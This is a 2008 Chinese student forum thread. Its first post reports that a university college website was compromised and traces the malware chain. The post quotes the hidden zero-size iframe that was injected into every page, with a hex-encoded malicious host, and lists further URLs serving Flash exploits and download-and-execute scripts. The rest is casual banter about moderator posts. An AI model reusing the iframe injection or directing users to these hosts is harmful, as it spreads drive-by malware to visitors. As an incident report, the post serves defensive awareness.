和山论坛

标题: 再次对学校网管的安全意识没想法 [打印本页]

作者: kucoolzhu 时间: 2008-9-4 21:31
标题: 再次对学校网管的安全意识没想法
(以下红色部分请勿轻易点击,否则后果自负)

浙科院机械学院网站 http://jdx.zust.edu.cn 被黑客入侵

网站内所有网页文件(ASP,HTM,HTML....)的末尾被添加了一句代码:

<iframe src=http://%61%76%65%31%2E%63%6 width=0 height=0></iframe>(意思是加载一个宽度和高度都为0也就是看不到的网页,最常用的挂马方式之一)

继续追查得到的信息:

http://%61%76%65%31%2E%63%6解析后的地址为http://ave1.cn

此网站中用iframe加载了另外两个恶意页面(见图一)

http://jzm015.cn/ilink.html能自动检测机器的Flash Player的版本然后利用各版本的漏洞加载不同的恶意SWF文件(见图二)

http://www.hxg006.cn/b2.htm 中包含一个加密的1936348.js和一个加密的fxx.htm ,作用是下载并执行病毒和跳转到新的恶意网站

很流行的手段,没必要继续看下去了

再次没想法.....彻底失望....%@24

网站里的所有恶意代码我已经删了,现在可以安全访问了...

作者: 左手无名指 时间: 2008-9-4 21:31
lz是？？好像很牛X的~%@28

作者: 小熊喂你 时间: 2008-9-4 21:32
LZqiang da

作者: 小熊寶寶 时间: 2008-9-4 21:32
小猪又被你发现了，好像不是第一次，了,N次了都%@24

作者: 金澜 时间: 2008-9-4 21:32
%@15 看不懂。。。
但LZ好像很厉害的样子

作者: kucoolzhu 时间: 2008-9-4 21:32

原帖由 左手无名指 于 2008-9-4 21:31 发表
lz是？？好像很牛X的~%@28

大二机械的%@07

作者: 左手无名指 时间: 2008-9-4 21:33
酷酷猪，名字真酷~%@101

作者: kucoolzhu 时间: 2008-9-4 21:34

原帖由 小熊寶寶 于 2008-9-4 21:32 发表
小猪又被你发现了，好像不是第一次，了,N次了都%@24

才两次...不过学校犯的都是很低级的毛病..所以很不爽...

作者: kucoolzhu 时间: 2008-9-4 21:34
MS图片不能显示??

作者: 左手无名指 时间: 2008-9-4 21:34

原帖由 kucoolzhu 于 2008-9-4 21:32 发表

大二机械的%@07

对你有印象了，以前在挖坟是看到你的帖~~%@07

作者: kucoolzhu 时间: 2008-9-4 21:35

原帖由 左手无名指 于 2008-9-4 21:34 发表
对你有印象了，以前在挖坟是看到你的帖~~%@07

版主带头挖坟...%@15

作者: 左手无名指 时间: 2008-9-4 21:36

原帖由 kucoolzhu 于 2008-9-4 21:35 发表

版主带头挖坟...%@15

那是以前的事，嘘，不要张扬出去~~%@52

作者: 卷轴玩笑 时间: 2008-9-4 21:37
很强大基本看不懂~

作者: 小熊寶寶 时间: 2008-9-4 21:38

原帖由 kucoolzhu 于 2008-9-4 21:32 发表

大二机械的%@07

高数23分，想去计算机的那个%@08

作者: kucoolzhu 时间: 2008-9-4 21:38

原帖由 左手无名指 于 2008-9-4 21:36 发表
那是以前的事，嘘，不要张扬出去~~%@52

百度贴吧见过某人在07年把自己05年的坟挖出来还说,我以前也有过类似楼主的疑问...

作者: 左手无名指 时间: 2008-9-4 21:38
标题: 回复 13楼卷轴玩笑的帖子
怪我把网页制作给了我同学上~~%@60 不然我啊看得懂了~

作者: kucoolzhu 时间: 2008-9-4 21:39

原帖由 小熊寶寶 于 2008-9-4 21:38 发表

高数23分，想去计算机的那个%@08

%@28 记性不要太好好不好...分数都记得...%@07

作者: 卷轴玩笑 时间: 2008-9-4 21:40
机械的啊应该来信息学院拉 ~呵呵

作者: 小熊寶寶 时间: 2008-9-4 21:41
标题: 回复 17楼 kucoolzhu 的帖子
%@11 还好还好。。。

影响深刻嘛

作者: kucoolzhu 时间: 2008-9-4 21:41

原帖由 左手无名指 于 2008-9-4 21:38 发表
怪我把网页制作给了我同学上~~%@60 不然我啊看得懂了~

把文字看懂就好了撒~~

作者: kucoolzhu 时间: 2008-9-4 21:41

原帖由 卷轴玩笑 于 2008-9-4 21:40 发表
机械的啊应该来信息学院拉 ~呵呵

你以为我不想...%@30

作者: 小熊寶寶 时间: 2008-9-4 21:41
标题: 回复 20楼 kucoolzhu 的帖子
还是，你有前途的，我比较看好你%@08

作者: 左手无名指 时间: 2008-9-4 21:41
lz应该到我们学院的计算机专业来的~

作者: kucoolzhu 时间: 2008-9-4 21:42

原帖由 小熊寶寶 于 2008-9-4 21:41 发表
%@11 还好还好。。。

影响深刻嘛

我那时怎么就那么想不开把分数都公开了呢...

作者: kucoolzhu 时间: 2008-9-4 21:43

原帖由 小熊寶寶 于 2008-9-4 21:41 发表
还是，你有前途的，我比较看好你%@08

没钱途的...

作者: 卷轴玩笑 时间: 2008-9-4 21:43
我没有看到~你什么时候公布的了我去挖下...

作者: kucoolzhu 时间: 2008-9-4 21:44

原帖由 左手无名指 于 2008-9-4 21:41 发表
lz应该到我们学院的计算机专业来的~

要不你把我偷偷运进去?%@39

作者: 小熊寶寶 时间: 2008-9-4 21:44
标题: 回复 26楼卷轴玩笑的帖子
我同意%@08 ，7878%@03

作者: kucoolzhu 时间: 2008-9-4 21:44

原帖由 卷轴玩笑 于 2008-9-4 21:43 发表
我没有看到~你什么时候公布的了我去挖下...

MS 九几年吧%@41

作者: kucoolzhu 时间: 2008-9-4 21:45

原帖由 小熊寶寶 于 2008-9-4 21:44 发表
我同意%@08 ，7878%@03

运进去当粮食是吧...%@37

作者: 小熊寶寶 时间: 2008-9-4 21:47
标题: 回复 30楼 kucoolzhu 的帖子
不要说嘛，我一般不抢猪食的，偶尔迟迟，我一般都吃猪肉的

ps:你的那块肉要贡献呀%@03

作者: 卷轴玩笑 时间: 2008-9-4 21:48
挖不到哎....

作者: kucoolzhu 时间: 2008-9-4 21:48

原帖由 小熊寶寶 于 2008-9-4 21:47 发表
不要说嘛，我一般不抢猪食的，偶尔迟迟，我一般都吃猪肉的

ps:你的那块肉要贡献呀%@03

"我一般不抢猪食的，偶尔迟迟"我该怎么理解呢...%@54

作者: kucoolzhu 时间: 2008-9-4 21:49

原帖由 卷轴玩笑 于 2008-9-4 21:48 发表
挖不到哎....

很深很深了...别挖了,挖出来也是干尸了

作者: 小熊寶寶 时间: 2008-9-4 21:50
偶尔吃吃，我要吃猪蹄%@15

作者: 卷轴玩笑 时间: 2008-9-4 21:50
%@21 好满足你不挖了

作者: kucoolzhu 时间: 2008-9-4 21:51

原帖由 小熊寶寶 于 2008-9-4 21:50 发表
偶尔吃吃，我要吃猪蹄%@15

弱弱的问一下,网站缺版主么%@54

作者: kucoolzhu 时间: 2008-9-4 21:52

原帖由 卷轴玩笑 于 2008-9-4 21:50 发表
%@21 好满足你不挖了

明智的人还是不少的对吧,,,

作者: 左手无名指 时间: 2008-9-4 21:52
标题: 回复 37楼 kucoolzhu 的帖子
缺的，你来当吗？

作者: 卷轴玩笑 时间: 2008-9-4 21:54
呃那岂不是在水吧看见的基本都是斑竹了....

作者: kucoolzhu 时间: 2008-9-4 21:54

原帖由 左手无名指 于 2008-9-4 21:52 发表
缺的，你来当吗？

要考试么??有高数吗???%@72

作者: kucoolzhu 时间: 2008-9-4 21:55

原帖由 卷轴玩笑 于 2008-9-4 21:54 发表
呃那岂不是在水吧看见的基本都是斑竹了....

其他版的斑竹基本上也都在水吧活动....

作者: 左手无名指 时间: 2008-9-4 21:56
标题: 回复 41楼 kucoolzhu 的帖子
。。。怎么又是一个高数恐慌者。。。
放心吧，老大很仁慈的~

作者: 左手无名指 时间: 2008-9-4 21:56
标题: 回复 42楼 kucoolzhu 的帖子
嗯，是的，所以水吧才这么旺~

作者: kucoolzhu 时间: 2008-9-4 21:56

原帖由 左手无名指 于 2008-9-4 21:56 发表
。。。怎么又是一个高数恐慌者。。。
放心吧，老大很仁慈的~

%@08 有工资么%@06 ~~~%@10

作者: 卷轴玩笑 时间: 2008-9-4 21:57
标题: 回复 45楼 kucoolzhu 的帖子
%@21 想的美木有! 好好奉献吧

作者: kucoolzhu 时间: 2008-9-4 21:58

原帖由 左手无名指 于 2008-9-4 21:56 发表
嗯，是的，所以水吧才这么旺~

今年的新生不行啊,,去年我们可是盖了和山第一高楼...%@68

作者: kucoolzhu 时间: 2008-9-4 21:58

原帖由 卷轴玩笑 于 2008-9-4 21:57 发表
%@21 想的美木有! 好好奉献吧

你又不是你怎么知道%@68

作者: 左手无名指 时间: 2008-9-4 21:59

原帖由 kucoolzhu 于 2008-9-4 21:58 发表

今年的新生不行啊,,去年我们可是盖了和山第一高楼...%@68

说起，我又想起来了，想起那楼有你这个猪头的~%@65

作者: 左手无名指 时间: 2008-9-4 21:59
标题: 回复 48楼 kucoolzhu 的帖子
是要无私奉献的~~%@66

作者: kucoolzhu 时间: 2008-9-4 21:59

原帖由 左手无名指 于 2008-9-4 21:59 发表
说起，我又想起来了，想起那楼有你这个猪头的~%@65

什么啊...哪楼....%@75

作者: 卷轴玩笑 时间: 2008-9-4 22:00
标题: 回复 48楼 kucoolzhu 的帖子
切还不信我你看看

作者: 左手无名指 时间: 2008-9-4 22:00
标题: 回复 51楼 kucoolzhu 的帖子
和山第一楼啊，里面我记得有猪头的

作者: kucoolzhu 时间: 2008-9-4 22:01

原帖由 卷轴玩笑 于 2008-9-4 22:00 发表
切还不信我你看看

好歹...给点和山币总可以吧...%@84

作者: 卷轴玩笑 时间: 2008-9-4 22:01
去玩flash游戏吧有钱送~

作者: kucoolzhu 时间: 2008-9-4 22:02

原帖由 左手无名指 于 2008-9-4 22:00 发表
和山第一楼啊，里面我记得有猪头的

看样子我这头像深入人心啊..%@83

作者: 左手无名指 时间: 2008-9-4 22:02
标题: 回复 54楼 kucoolzhu 的帖子
多水水，和山币就有了~~~

作者: kucoolzhu 时间: 2008-9-4 22:03

原帖由 卷轴玩笑 于 2008-9-4 22:01 发表
去玩flash游戏吧有钱送~

刚刚才发现你居然是个女的%@07 ....你那头像挺像那谁谁谁来着..

作者: kucoolzhu 时间: 2008-9-4 22:03

原帖由 左手无名指 于 2008-9-4 22:02 发表
多水水，和山币就有了~~~

能去老大那里兑换RMB么?%@29

作者: kucoolzhu 时间: 2008-9-4 22:06
标题: 回复 55楼卷轴玩笑的帖子
刚刚又发现你的签名是MIKU,你也弄的吗?

作者: 卷轴玩笑 时间: 2008-9-4 22:10
等待psp上的初音....还有悄悄告你我是男的...嘘...

作者: kucoolzhu 时间: 2008-9-4 22:13

原帖由 卷轴玩笑 于 2008-9-4 22:10 发表
等待psp上的初音....还有悄悄告你我是男的...嘘...

好吧..我也偷偷告诉你..X你丫个RY......

作者: 卷轴玩笑 时间: 2008-9-4 22:14
啊哈哈 ~ %@21 小样挺强啊咱们对掐哈

[ 本帖最后由卷轴玩笑于 2008-9-4 22:15 编辑 ]

作者: 小熊寶寶 时间: 2008-9-4 23:06
小猪，来当版主吧%@08

作者: 左手无名指 时间: 2008-9-4 23:08
标题: 回复 64楼小熊寶寶的帖子
我啊支持~%@66

作者: 仰望。 时间: 2008-9-5 10:54
楼住能直接管理学校的网站？

作者: cnlove 时间: 2008-9-5 11:09
%@07 偶前几天就发现中毒了

号召了下同学不要上去。

作者: 仰望。 时间: 2008-9-5 11:14
不会出内奸了吧。。

作者: cnlove 时间: 2008-9-5 11:30
%@07 对于咱们学校的网站挂毒是很简单的

作者: kucoolzhu 时间: 2008-9-5 11:36
虽然不是正当的…但…的确可以…

作者: kucoolzhu 时间: 2008-9-5 11:42
的确…

作者: kucoolzhu 时间: 2008-9-5 11:42
怎么来呢？

作者: kucoolzhu 时间: 2008-9-5 11:44
手机上论坛真不爽…引用都没的…

作者: 小熊寶寶 时间: 2008-9-5 11:57
我说呢，怎么连发死贴。。

作者: 卷轴玩笑 时间: 2008-9-5 11:59
有没有哪句回复是对我说的...

作者: 小熊寶寶 时间: 2008-9-5 12:07
问问小猪吧。。

作者: kucoolzhu 时间: 2008-9-5 14:26
73楼对小熊说滴

[ 本帖最后由 kucoolzhu 于 2008-9-5 15:25 编辑 ]

作者: kucoolzhu 时间: 2008-9-5 14:29
不对…是对卷轴说滴…手机太恶心了…期待装宽带的快点来…

作者: kucoolzhu 时间: 2008-9-5 15:24
去哪申请版主呢%@01

作者: 小熊寶寶 时间: 2008-9-5 16:26
论坛公告版块，小猪来吧，可以被我们欺负一下了%@11

作者: kucoolzhu 时间: 2008-9-5 16:28

原帖由 小熊寶寶 于 2008-9-5 16:26 发表
论坛公告版块，小猪来吧，可以被我们欺负一下了%@11

总觉得你很邪恶...

申请要什么格式啊

作者: 小熊寶寶 时间: 2008-9-5 16:38
http://www.hsbbs.com/thread-18399-1-1.html

这贴的板凳%@03

作者: kucoolzhu 时间: 2008-9-5 16:40
标题: 回复 83楼小熊寶寶的帖子
那你觉得我去申请哪个板块的版主呢?%@24

作者: 小熊寶寶 时间: 2008-9-5 16:41
标题: 回复 84楼 kucoolzhu 的帖子
你喜欢哪个就哪个，女生宿舍我也不介意的%@03

作者: kucoolzhu 时间: 2008-9-5 16:44
标题: 回复 85楼小熊寶寶的帖子
发贴没超过10贴不能报的说...MS我从没去过那...我申请水吧的副版主行不?%@03

作者: 仰望。 时间: 2008-9-5 16:45
有副版主这个职务吗？

作者: kucoolzhu 时间: 2008-9-5 16:47

原帖由 仰望。 于 2008-9-5 16:45 发表
有副版主这个职务吗？

MS排第一个的是版主,后面的都是副版主

作者: Oneer 时间: 2008-9-5 16:48
都版主%@60

作者: kucoolzhu 时间: 2008-9-5 16:49

原帖由 Oneer 于 2008-9-5 16:48 发表
都版主%@60

水母,,..我记得你....

作者: 小熊寶寶 时间: 2008-9-5 16:52
你试试吧，也可以是电脑那块的%@15

作者: Oneer 时间: 2008-9-5 16:52

原帖由 kucoolzhu 于 2008-9-5 16:49 发表

水母,,..我记得你....

我也记得你
%@60 真神奇

作者: kucoolzhu 时间: 2008-9-5 16:53

原帖由 小熊寶寶 于 2008-9-5 16:52 发表
你试试吧，也可以是电脑那块的%@15

那块三个版主了都....

作者: kucoolzhu 时间: 2008-9-5 16:54

原帖由 Oneer 于 2008-9-5 16:52 发表

我也记得你
%@60 真神奇

我都好久没来了...

作者: Oneer 时间: 2008-9-5 16:55

原帖由 kucoolzhu 于 2008-9-5 16:54 发表

我都好久没来了...

以前看到你么··
虽然我记性布怎么好··
不过你的头像让人印象深刻的

作者: 了无痕 时间: 2008-9-5 16:56
那没人记得我的啊~伤心了~%@03

作者: 小熊寶寶 时间: 2008-9-5 16:57
宁宁我记得的%@23 ，乖哈

PS:校园活动没人%@30

作者: kucoolzhu 时间: 2008-9-5 16:57

原帖由 Oneer 于 2008-9-5 16:55 发表

以前看到你么··
虽然我记性布怎么好··
不过你的头像让人印象深刻的

引用自己昨天说的...我的头像深入人心了..

作者: 了无痕 时间: 2008-9-5 16:58
还是熊姐好啊~、
PS：那猪猪怎么那么瘦的啊~

作者: Oneer 时间: 2008-9-5 16:58

原帖由 kucoolzhu 于 2008-9-5 16:57 发表

引用自己昨天说的...我的头像深入人心了..

你以前发过这贴在新生板块的我记得%@60

作者: 小熊寶寶 时间: 2008-9-5 16:59
标题: 回复 99楼了无痕的帖子
可能是那只猪坚强%@30

欢迎光临和山论坛 (http://www.hsbbs.com/)